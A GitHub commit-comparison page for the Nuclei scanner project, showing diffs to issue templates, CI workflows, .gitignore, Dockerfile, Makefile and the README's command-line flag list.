Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9606591dc9 | ||
|
|
19567fb77b | ||
|
|
2d14849674 | ||
|
|
cc46f57d4d | ||
|
|
75357b1eea | ||
|
|
5aa929ac7f |
No files matched your search
@@ -1,72 +0,0 @@
|
||||
name: Bug Report
|
||||
description: Create a report to help us to improve the Nuclei.
|
||||
title: "[BUG] ..."
|
||||
labels: ["Type: Bug"]
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
Thanks for taking the time to fill out this bug report!
|
||||
|
||||
For support requests, FAQs or "How to" questions, please use the [GitHub Discussions](https://github.com/projectdiscovery/nuclei/discussions) section instead or join our [Discord server](https://discord.gg/projectdiscovery) to discuss the idea on the **#nuclei** channel.
|
||||
|
||||
:warning: **Issues missing important information may be closed without further investigation.**
|
||||
- type: checkboxes
|
||||
attributes:
|
||||
label: Is there an existing issue for this?
|
||||
description: Please search to see if an issue already exists for the bug you encountered.
|
||||
options:
|
||||
- label: I have searched the existing issues.
|
||||
required: true
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Current Behavior
|
||||
description: A concise description of what you're experiencing.
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Expected Behavior
|
||||
description: A concise description of what you expected to happen.
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Steps To Reproduce
|
||||
description: |
|
||||
Steps to reproduce the behavior, for example, commands to run Nuclei.
|
||||
|
||||
:warning: **Please redact any literal target hosts/URLs or other sensitive information.**
|
||||
placeholder: |
|
||||
1. Run `nuclei -t ...`
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Relevant log output
|
||||
description: Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks.
|
||||
render: shell
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Environment
|
||||
description: |
|
||||
Examples:
|
||||
- **OS**: Ubuntu 20.04
|
||||
- **Nuclei** (`nuclei -version`): v3.3.1
|
||||
- **Go** (`go version`): go1.22.0 _(only if you've installed it via the `go install` command)_
|
||||
value: |
|
||||
- OS:
|
||||
- Nuclei:
|
||||
- Go:
|
||||
render: markdown
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Anything else?
|
||||
description: |
|
||||
Links? References? Templates? Anything that will give us more context about the issue you are encountering!
|
||||
|
||||
Tip: You can attach images or log files by clicking this area to highlight it and then dragging files in.
|
||||
validations:
|
||||
required: false
|
||||
@@ -1,37 +0,0 @@
|
||||
name: Feature Request
|
||||
description: Request feature to implement in the Nuclei.
|
||||
title: "[FEATURE] ..."
|
||||
labels: ["Type: Enhancement"]
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
Thanks for taking the time to fill out this feature request!
|
||||
|
||||
Please make sure to provide a detailed description with all the relevant information that might be required to start working on this feature. In case you are not sure about your request or whether the particular feature is already supported or not, please [start a discussion](https://github.com/projectdiscovery/nuclei/discussions/categories/ideas) instead.
|
||||
|
||||
Join our [Discord server](https://discord.gg/projectdiscovery) to discuss the idea on the **#nuclei** channel.
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Describe your feature request
|
||||
description: A clear and concise description of feature to implement.
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Describe the use case of the feature
|
||||
description: A clear and concise description of the feature request's motivation and the use-cases in which it could be useful.
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Describe alternatives you've considered
|
||||
description: A clear and concise description of any alternative solutions or features you've considered.
|
||||
validations:
|
||||
required: false
|
||||
- type: textarea
|
||||
attributes:
|
||||
label: Additional context
|
||||
description: Add any other context about the feature request here.
|
||||
validations:
|
||||
required: false
|
||||
@@ -0,0 +1,21 @@
|
||||
---
|
||||
name: Feature request
|
||||
about: Request feature to implement in this project
|
||||
title: ""
|
||||
labels: 'Type: Enhancement'
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
<!--
|
||||
1. Please make sure to provide a detailed description with all the relevant information that might be required to start working on this feature.
|
||||
2. In case you are not sure about your request or whether the particular feature is already supported or not, please start a discussion instead.
|
||||
3. GitHub Discussion: https://github.com/projectdiscovery/nuclei/discussions/categories/ideas
|
||||
4. Join our discord server at https://discord.gg/projectdiscovery to discuss the idea on the #nuclei channel.
|
||||
-->
|
||||
|
||||
### Please describe your feature request:
|
||||
<!-- A clear and concise description of feature to implement -->
|
||||
|
||||
### Describe the use case of this feature:
|
||||
<!-- A clear and concise description of the feature request's motivation and the use-cases in which it could be useful. -->
|
||||
@@ -0,0 +1,36 @@
|
||||
---
|
||||
name: Issue report
|
||||
about: Create a report to help us to improve the project
|
||||
labels: 'Type: Bug'
|
||||
|
||||
---
|
||||
|
||||
<!--
|
||||
1. Please search to see if an issue already exists for the bug you encountered.
|
||||
2. For support requests, FAQs or "How to" questions, please use the GitHub Discussions section instead - https://github.com/projectdiscovery/nuclei/discussions or
|
||||
3. Join our discord server at https://discord.gg/projectdiscovery and post the question on the #nuclei channel.
|
||||
-->
|
||||
|
||||
<!-- ISSUES MISSING IMPORTANT INFORMATION MAY BE CLOSED WITHOUT INVESTIGATION. -->
|
||||
|
||||
### Nuclei version:
|
||||
<!-- You can find current version of nuclei with "nuclei -version" -->
|
||||
<!-- We only accept issues that are reproducible on the latest version of nuclei. -->
|
||||
<!-- You can find the latest version of project at https://github.com/projectdiscovery/nuclei/releases/ -->
|
||||
|
||||
### Current Behavior:
|
||||
<!-- A concise description of what you're experiencing. -->
|
||||
|
||||
### Expected Behavior:
|
||||
<!-- A concise description of what you expected to happen. -->
|
||||
|
||||
### Steps To Reproduce:
|
||||
<!--
|
||||
Example: steps to reproduce the behavior:
|
||||
1. Run 'nuclei -t ... -u ..'
|
||||
2. See error...
|
||||
-->
|
||||
|
||||
|
||||
### Anything else:
|
||||
<!-- Links? References? Screenshots? Anything that will give us more context about the issue that you are encountering! -->
|
||||
@@ -1,8 +0,0 @@
|
||||
addReviewers: true
|
||||
reviewers:
|
||||
- dogancanbakir
|
||||
|
||||
numberOfReviewers: 1
|
||||
# A list of keywords to be skipped the process that add reviewers if pull requests include it
|
||||
# skipKeywords:
|
||||
# - wip
|
||||
@@ -12,23 +12,28 @@ jobs:
|
||||
name: Test Builds
|
||||
strategy:
|
||||
matrix:
|
||||
go-version: [1.21.x]
|
||||
os: [ubuntu-latest, windows-latest, macOS-latest]
|
||||
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Go
|
||||
uses: projectdiscovery/actions/setup/go@v1
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: ${{ matrix.go-version }}
|
||||
|
||||
# required for running python code in py-snippet.yaml integration test
|
||||
- name: Set up Python
|
||||
- name: Set up Python # required for running python code in py-snippet.yaml integration test
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: '3.10'
|
||||
|
||||
- name: Verify Go modules
|
||||
run: make verify
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Go Mod hygiene
|
||||
run: |
|
||||
go clean -modcache
|
||||
go mod tidy
|
||||
|
||||
- name: Build
|
||||
run: go build .
|
||||
@@ -37,7 +42,6 @@ jobs:
|
||||
- name: Test
|
||||
env:
|
||||
GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
|
||||
PDCP_API_KEY: "${{ secrets.PDCP_API_KEY }}"
|
||||
run: go test ./...
|
||||
|
||||
- name: Integration Tests
|
||||
@@ -45,7 +49,6 @@ jobs:
|
||||
env:
|
||||
GH_ACTION: true
|
||||
GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
|
||||
PDCP_API_KEY: "${{ secrets.PDCP_API_KEY }}"
|
||||
run: |
|
||||
chmod +x run.sh
|
||||
bash run.sh ${{ matrix.os }}
|
||||
@@ -60,11 +63,6 @@ jobs:
|
||||
run: go run .
|
||||
working-directory: examples/simple/
|
||||
|
||||
# Temporarily disabled very flaky in github actions
|
||||
# - name: Example SDK Advanced
|
||||
# run: go run .
|
||||
# working-directory: examples/advanced/
|
||||
|
||||
- name: Example SDK with speed control
|
||||
- name: Example SDK Advanced
|
||||
run: go run .
|
||||
working-directory: examples/with_speed_control/
|
||||
working-directory: examples/advanced/
|
||||
@@ -15,11 +15,13 @@ jobs:
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest, macOS-latest]
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Go
|
||||
uses: projectdiscovery/actions/setup/go@v1
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: 1.21.x
|
||||
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Functional Tests
|
||||
env:
|
||||
|
||||
@@ -12,11 +12,16 @@ jobs:
|
||||
name: Lint Test
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Go
|
||||
uses: projectdiscovery/actions/setup/go@v1
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: 1.21.x
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Run golangci-lint
|
||||
uses: projectdiscovery/actions/golangci-lint@v1
|
||||
uses: golangci/[email protected]
|
||||
with:
|
||||
version: latest
|
||||
args: --timeout 5m
|
||||
@@ -11,19 +11,23 @@ jobs:
|
||||
name: Test Performance
|
||||
strategy:
|
||||
matrix:
|
||||
go-version: [1.21.x]
|
||||
os: [ubuntu-latest, macOS-latest]
|
||||
|
||||
runs-on: ${{ matrix.os }}
|
||||
if: github.repository == 'projectdiscovery/nuclei'
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Go
|
||||
uses: projectdiscovery/actions/setup/go@v1
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: ${{ matrix.go-version }}
|
||||
|
||||
- name: Verify Go modules
|
||||
run: make verify
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Go Mod hygine
|
||||
run: |
|
||||
go clean -modcache
|
||||
go mod tidy
|
||||
|
||||
# Max GH exection time 6H => timeout after that
|
||||
- name: Running performance with big list
|
||||
|
||||
@@ -11,15 +11,14 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: "Set up Go"
|
||||
uses: projectdiscovery/actions/setup/go@v1
|
||||
|
||||
- name: "Set up Git"
|
||||
uses: projectdiscovery/actions/setup/git@v1
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: 1.21.x
|
||||
|
||||
- name: Generate YAML Syntax Documentation
|
||||
id: generate-docs
|
||||
@@ -30,12 +29,14 @@ jobs:
|
||||
fi
|
||||
go generate pkg/templates/templates.go
|
||||
go build -o "cmd/docgen/docgen" cmd/docgen/docgen.go
|
||||
./cmd/docgen/docgen SYNTAX-REFERENCE.md nuclei-jsonschema.json
|
||||
./cmd/docgen/docgen ../SYNTAX-REFERENCE.md ../nuclei-jsonschema.json
|
||||
git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Commit files
|
||||
if: steps.generate-docs.outputs.CHANGES > 0
|
||||
run: |
|
||||
git config --local user.email "[email protected]"
|
||||
git config --local user.name "GitHub Action"
|
||||
git add SYNTAX-REFERENCE.md nuclei-jsonschema.json
|
||||
git commit -m "Auto Generate Syntax Docs + JSONSchema [$(date)] :robot:" -a
|
||||
|
||||
|
||||
@@ -9,17 +9,20 @@ on:
|
||||
jobs:
|
||||
release:
|
||||
runs-on: ubuntu-latest-16-cores
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Set up Go
|
||||
uses: projectdiscovery/actions/setup/go@v1
|
||||
|
||||
- uses: projectdiscovery/actions/goreleaser@v1
|
||||
- uses: actions/setup-go@v4
|
||||
with:
|
||||
release: true
|
||||
go-version: 1.21.x
|
||||
|
||||
- uses: goreleaser/goreleaser-action@v4
|
||||
with:
|
||||
args: "release --rm-dist"
|
||||
version: latest
|
||||
env:
|
||||
GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
|
||||
SLACK_WEBHOOK: "${{ secrets.RELEASE_SLACK_WEBHOOK }}"
|
||||
|
||||
@@ -12,12 +12,17 @@ jobs:
|
||||
runs-on: ubuntu-latest-16-cores
|
||||
steps:
|
||||
- name: "Check out code"
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Set up Go
|
||||
uses: projectdiscovery/actions/setup/go@v1
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: 1.21.x
|
||||
|
||||
- name: Release snapshot
|
||||
uses: projectdiscovery/actions/goreleaser@v1
|
||||
- name: release test
|
||||
uses: goreleaser/goreleaser-action@v4
|
||||
with:
|
||||
args: "release --clean --snapshot"
|
||||
version: latest
|
||||
@@ -10,9 +10,10 @@ jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest-16-cores
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: 1.21.x
|
||||
|
||||
- name: Template Validation
|
||||
run: |
|
||||
|
||||
@@ -1,42 +1,27 @@
|
||||
# Misc
|
||||
**/*-cache
|
||||
**/*-config
|
||||
**/.cache
|
||||
*.DS_Store
|
||||
*.exe
|
||||
.devcontainer
|
||||
.gitignore
|
||||
.idea
|
||||
.vscode
|
||||
|
||||
# Binaries
|
||||
**/bindgen
|
||||
**/debug-*
|
||||
**/docgen
|
||||
**/functional-test
|
||||
**/fuzzplayground
|
||||
**/integration-test
|
||||
**/jsdocgen
|
||||
**/main
|
||||
**/memogen
|
||||
**/nuclei
|
||||
**/nuclei-stats*
|
||||
**/nuclei_dev
|
||||
**/nuclei_main
|
||||
**/scan-charts
|
||||
**/scrapefunc
|
||||
**/scrapefuncs
|
||||
**/tsgen
|
||||
|
||||
# Templates
|
||||
/*.yaml
|
||||
|
||||
# Generated docs
|
||||
/dsl.md
|
||||
|
||||
# Junk
|
||||
.devcontainer
|
||||
vendor
|
||||
dist
|
||||
integration_tests/nuclei
|
||||
integration_tests/integration-test
|
||||
cmd/nuclei/main
|
||||
cmd/nuclei/nuclei
|
||||
cmd/integration-test/nuclei
|
||||
cmd/functional-test/nuclei_dev
|
||||
cmd/functional-test/nuclei_main
|
||||
cmd/functional-test/functional-test
|
||||
cmd/docgen/docgen
|
||||
pkg/protocols/common/helpers/deserialization/testdata/Deserialize.class
|
||||
pkg/protocols/common/helpers/deserialization/testdata/ValueObject.class
|
||||
pkg/protocols/common/helpers/deserialization/testdata/ValueObject2.ser
|
||||
vendor
|
||||
*.exe
|
||||
.gitignore
|
||||
pkg/js/devtools/bindgen/cmd/bindgen
|
||||
pkg/js/devtools/jsdocgen/jsdocgen
|
||||
*.DS_Store
|
||||
pkg/protocols/headless/engine/.cache
|
||||
/nuclei
|
||||
/bindgen
|
||||
/jsdocgen
|
||||
/scrapefuncs
|
||||
@@ -8,7 +8,7 @@ RUN go mod download
|
||||
RUN go build ./cmd/nuclei
|
||||
|
||||
# Release
|
||||
FROM alpine:3.18.6
|
||||
FROM alpine:3.18.2
|
||||
RUN apk -U upgrade --no-cache \
|
||||
&& apk add --no-cache bind-tools chromium ca-certificates
|
||||
COPY --from=build-env /app/nuclei /usr/local/bin/
|
||||
|
||||
@@ -1,127 +1,37 @@
|
||||
# Go parameters
|
||||
GOCMD := go
|
||||
GOBUILD := $(GOCMD) build
|
||||
GOBUILD_OUTPUT :=
|
||||
GOBUILD_PACKAGES :=
|
||||
GOBUILD_ADDITIONAL_ARGS :=
|
||||
GOMOD := $(GOCMD) mod
|
||||
GOTEST := $(GOCMD) test
|
||||
GOCMD=go
|
||||
GOBUILD=$(GOCMD) build
|
||||
GOMOD=$(GOCMD) mod
|
||||
GOTEST=$(GOCMD) test
|
||||
GOFLAGS := -v
|
||||
# This should be disabled if the binary uses pprof
|
||||
LDFLAGS := -s -w
|
||||
|
||||
ifneq ($(shell go env GOOS),darwin)
|
||||
LDFLAGS = -extldflags "-static"
|
||||
LDFLAGS := -extldflags "-static"
|
||||
endif
|
||||
|
||||
.PHONY: all build build-stats clean devtools-all devtools-bindgen devtools-scrapefuncs
|
||||
.PHONY: devtools-tsgen docs dsl-docs functional fuzzplayground go-build integration
|
||||
.PHONY: jsupdate-all jsupdate-bindgen jsupdate-tsgen memogen scan-charts test tidy ts verify
|
||||
|
||||
all: build
|
||||
|
||||
clean:
|
||||
rm -f '${GOBUILD_OUTPUT}' 2>/dev/null
|
||||
|
||||
go-build: clean
|
||||
go-build:
|
||||
$(GOBUILD) $(GOFLAGS) -ldflags '${LDFLAGS}' $(GOBUILD_ADDITIONAL_ARGS) \
|
||||
-o '${GOBUILD_OUTPUT}' $(GOBUILD_PACKAGES)
|
||||
|
||||
build: GOBUILD_OUTPUT = nuclei
|
||||
build: GOBUILD_PACKAGES = cmd/nuclei/main.go
|
||||
build: go-build
|
||||
|
||||
build-stats: GOBUILD_OUTPUT = nuclei-stats
|
||||
build-stats: GOBUILD_PACKAGES = cmd/nuclei/main.go
|
||||
build-stats: GOBUILD_ADDITIONAL_ARGS = -tags=stats
|
||||
build-stats: go-build
|
||||
|
||||
scan-charts: GOBUILD_OUTPUT = scan-charts
|
||||
scan-charts: GOBUILD_PACKAGES = cmd/scan-charts/main.go
|
||||
scan-charts: go-build
|
||||
|
||||
docs: GOBUILD_OUTPUT = cmd/docgen/docgen
|
||||
docs: GOBUILD_PACKAGES = cmd/docgen/docgen.go
|
||||
docs: bin = dstdocgen
|
||||
build:
|
||||
$(GOBUILD) $(GOFLAGS) -ldflags '$(LDFLAGS)' -o "nuclei" cmd/nuclei/main.go
|
||||
docs:
|
||||
@if ! which $(bin) >/dev/null; then \
|
||||
read -p "${bin} not found. Do you want to install it? (y/n) " answer; \
|
||||
if [ "$$answer" = "y" ]; then \
|
||||
echo "Installing ${bin}..."; \
|
||||
go get -v github.com/projectdiscovery/yamldoc-go/cmd/docgen/$(bin); \
|
||||
go install -v github.com/projectdiscovery/yamldoc-go/cmd/docgen/$(bin); \
|
||||
else \
|
||||
echo "Please install ${bin} manually."; \
|
||||
exit 1; \
|
||||
fi \
|
||||
if ! which dstdocgen > /dev/null; then
|
||||
echo -e "Command not found! Install? (y/n) \c"
|
||||
go get -v github.com/projectdiscovery/yamldoc-go/cmd/docgen/dstdocgen
|
||||
fi
|
||||
|
||||
# TODO: Handle the panic, so that we just need to run `go install $(bin)@latest` (line 51-52)
|
||||
$(GOCMD) generate pkg/templates/templates.go
|
||||
|
||||
$(GOBUILD) -o "${GOBUILD_OUTPUT}" $(GOBUILD_PACKAGES)
|
||||
./$(GOBUILD_OUTPUT) docs.md nuclei-jsonschema.json
|
||||
|
||||
git reset --hard # line 59
|
||||
|
||||
$(GOBUILD) -o "cmd/docgen/docgen" cmd/docgen/docgen.go
|
||||
./cmd/docgen/docgen docs.md nuclei-jsonschema.json
|
||||
test:
|
||||
$(GOTEST) $(GOFLAGS) ./...
|
||||
|
||||
integration:
|
||||
cd integration_tests; bash run.sh
|
||||
|
||||
functional:
|
||||
cd cmd/functional-test; bash run.sh
|
||||
|
||||
tidy:
|
||||
$(GOMOD) tidy
|
||||
devtools:
|
||||
$(GOBUILD) $(GOFLAGS) -ldflags '$(LDFLAGS)' -o "bindgen" pkg/js/devtools/bindgen/cmd/bindgen/main.go
|
||||
$(GOBUILD) $(GOFLAGS) -ldflags '$(LDFLAGS)' -o "jsdocgen" pkg/js/devtools/jsdocgen/main.go
|
||||
$(GOBUILD) $(GOFLAGS) -ldflags '$(LDFLAGS)' -o "scrapefuncs" pkg/js/devtools/scrapefuncs/main.go
|
||||
|
||||
verify: tidy
|
||||
$(GOMOD) verify
|
||||
|
||||
devtools-bindgen: GOBUILD_OUTPUT = bindgen
|
||||
devtools-bindgen: GOBUILD_PACKAGES = pkg/js/devtools/bindgen/cmd/bindgen/main.go
|
||||
devtools-bindgen: go-build
|
||||
|
||||
devtools-tsgen: GOBUILD_OUTPUT = tsgen
|
||||
devtools-tsgen: GOBUILD_PACKAGES = pkg/js/devtools/tsgen/cmd/tsgen/main.go
|
||||
devtools-tsgen: go-build
|
||||
|
||||
devtools-scrapefuncs: GOBUILD_OUTPUT = scrapefuncs
|
||||
devtools-scrapefuncs: GOBUILD_PACKAGES = pkg/js/devtools/scrapefuncs/main.go
|
||||
devtools-scrapefuncs: go-build
|
||||
|
||||
devtools-all: devtools-bindgen devtools-tsgen devtools-scrapefuncs
|
||||
|
||||
jsupdate-bindgen: GOBUILD_OUTPUT = bindgen
|
||||
jsupdate-bindgen: GOBUILD_PACKAGES = pkg/js/devtools/bindgen/cmd/bindgen/main.go
|
||||
jsupdate-bindgen: go-build
|
||||
jsupdate-bindgen:
|
||||
./$(GOBUILD_OUTPUT) -dir pkg/js/libs -out pkg/js/generated
|
||||
|
||||
jsupdate-tsgen: GOBUILD_OUTPUT = tsgen
|
||||
jsupdate-tsgen: GOBUILD_PACKAGES = pkg/js/devtools/tsgen/cmd/tsgen/main.go
|
||||
jsupdate-tsgen: go-build
|
||||
jsupdate-tsgen:
|
||||
./$(GOBUILD_OUTPUT) -dir pkg/js/libs -out pkg/js/generated/ts
|
||||
|
||||
jsupdate-all: jsupdate-bindgen jsupdate-tsgen
|
||||
|
||||
ts: jsupdate-tsgen
|
||||
|
||||
fuzzplayground: GOBUILD_OUTPUT = fuzzplayground
|
||||
fuzzplayground: GOBUILD_PACKAGES = cmd/tools/fuzzplayground/main.go
|
||||
fuzzplayground: LDFLAGS = -s -w
|
||||
fuzzplayground: go-build
|
||||
|
||||
memogen: GOBUILD_OUTPUT = memogen
|
||||
memogen: GOBUILD_PACKAGES = cmd/memogen/memogen.go
|
||||
memogen: go-build
|
||||
memogen:
|
||||
./$(GOBUILD_OUTPUT) -src pkg/js/libs -tpl cmd/memogen/function.tpl
|
||||
|
||||
dsl-docs: GOBUILD_OUTPUT = scrapefuncs
|
||||
dsl-docs: GOBUILD_PACKAGES = pkg/js/devtools/scrapefuncs/main.go
|
||||
dsl-docs:
|
||||
./$(GOBUILD_OUTPUT) -out dsl.md
|
||||
@@ -20,9 +20,11 @@
|
||||
<p align="center">
|
||||
<a href="#how-it-works">How</a> •
|
||||
<a href="#install-nuclei">Install</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/">Documentation</a> •
|
||||
<a href="#for-security-engineers">For Security Engineers</a> •
|
||||
<a href="#for-developers-and-organizations">For Developers</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/nuclei/get-started/">Documentation</a> •
|
||||
<a href="#credits">Credits</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/faq">FAQs</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/faq/nuclei/">FAQs</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">Join Discord</a>
|
||||
</p>
|
||||
|
||||
@@ -30,10 +32,7 @@
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">English</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">Korean</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">Spanish</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">日本語</a>
|
||||
</p>
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a>
|
||||
</p>
|
||||
|
||||
---
|
||||
@@ -80,7 +79,7 @@ go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
|
||||
</details>
|
||||
|
||||
**More installation [methods can be found here](https://docs.projectdiscovery.io/tools/nuclei/install).**
|
||||
**More installation [methods can be found here](https://nuclei.projectdiscovery.io/nuclei/get-started/).**
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
@@ -90,7 +89,7 @@ go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
|
||||
Nuclei has built-in support for automatic template download/update as default since version [v2.5.2](https://github.com/projectdiscovery/nuclei/releases/tag/v2.5.2). [**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates) project provides a community-contributed list of ready-to-use templates that is constantly updated.
|
||||
|
||||
You may still use the `update-templates` flag to update the nuclei templates at any time; You can write your own checks for your individual workflow and needs following Nuclei's [templating guide](https://docs.projectdiscovery.io/templates/).
|
||||
You may still use the `update-templates` flag to update the nuclei templates at any time; You can write your own checks for your individual workflow and needs following Nuclei's [templating guide](https://nuclei.projectdiscovery.io/templating-guide/).
|
||||
|
||||
The YAML DSL reference syntax is available [here](SYNTAX-REFERENCE.md).
|
||||
|
||||
@@ -116,17 +115,11 @@ Usage:
|
||||
|
||||
Flags:
|
||||
TARGET:
|
||||
-u, -target string[] target URLs/hosts to scan
|
||||
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
|
||||
-eh, -exclude-hosts string[] hosts to exclude to scan from the input list (ip, cidr, hostname)
|
||||
-resume string resume scan using resume.cfg (clustering will be disabled)
|
||||
-sa, -scan-all-ips scan all the IP's associated with dns record
|
||||
-iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4)
|
||||
|
||||
TARGET-FORMAT:
|
||||
-im, -input-mode string mode of input file (list, burp, jsonl, yaml, openapi, swagger) (default "list")
|
||||
-ro, -required-only use only required fields in input format when generating requests
|
||||
-sfv, -skip-format-validation skip format validation (like missing vars) when parsing input file
|
||||
-u, -target string[] target URLs/hosts to scan
|
||||
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
|
||||
-resume string resume scan using resume.cfg (clustering will be disabled)
|
||||
-sa, -scan-all-ips scan all the IP's associated with dns record
|
||||
-iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4)
|
||||
|
||||
TEMPLATES:
|
||||
-nt, -new-templates run only new templates added in latest nuclei-templates release
|
||||
@@ -140,10 +133,6 @@ TEMPLATES:
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all available templates
|
||||
-tgl list all available tags
|
||||
-sign signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable
|
||||
-code enable loading code protocol-based templates
|
||||
-dut, -disable-unsigned-templates disable running unsigned templates or templates with mismatched signature
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] templates to run based on authors (comma-separated, file)
|
||||
@@ -152,13 +141,13 @@ FILTERING:
|
||||
-itags, -include-tags string[] tags to be executed even if they are excluded either by default or configuration
|
||||
-id, -template-id string[] templates to run based on template ids (comma-separated, file, allow-wildcard)
|
||||
-eid, -exclude-id string[] templates to exclude based on template ids (comma-separated, file)
|
||||
-it, -include-templates string[] path to template file or directory to be executed even if they are excluded either by default or configuration
|
||||
-et, -exclude-templates string[] path to template file or directory to exclude (comma-separated, file)
|
||||
-it, -include-templates string[] templates to be executed even if they are excluded either by default or configuration
|
||||
-et, -exclude-templates string[] template or template directory to exclude (comma-separated, file)
|
||||
-em, -exclude-matchers string[] template matchers to exclude in result
|
||||
-s, -severity value[] templates to run based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-pt, -type value[] templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code
|
||||
-ept, -exclude-type value[] templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code
|
||||
-tc, -template-condition string[] templates to run based on expression condition
|
||||
|
||||
OUTPUT:
|
||||
@@ -168,9 +157,8 @@ OUTPUT:
|
||||
-silent display findings only
|
||||
-nc, -no-color disable output content coloring (ANSI escape codes)
|
||||
-j, -jsonl write output in JSONL(ines) format
|
||||
-irr, -include-rr -omit-raw include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true)
|
||||
-irr, -include-rr include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true)
|
||||
-or, -omit-raw omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only)
|
||||
-ot, -omit-template omit encoded template in the JSON, JSONL output
|
||||
-nm, -no-meta disable printing result metadata in cli output
|
||||
-ts, -timestamp enables printing timestamp in cli output
|
||||
-rdb, -report-db string nuclei reporting database (always use this to persist report data)
|
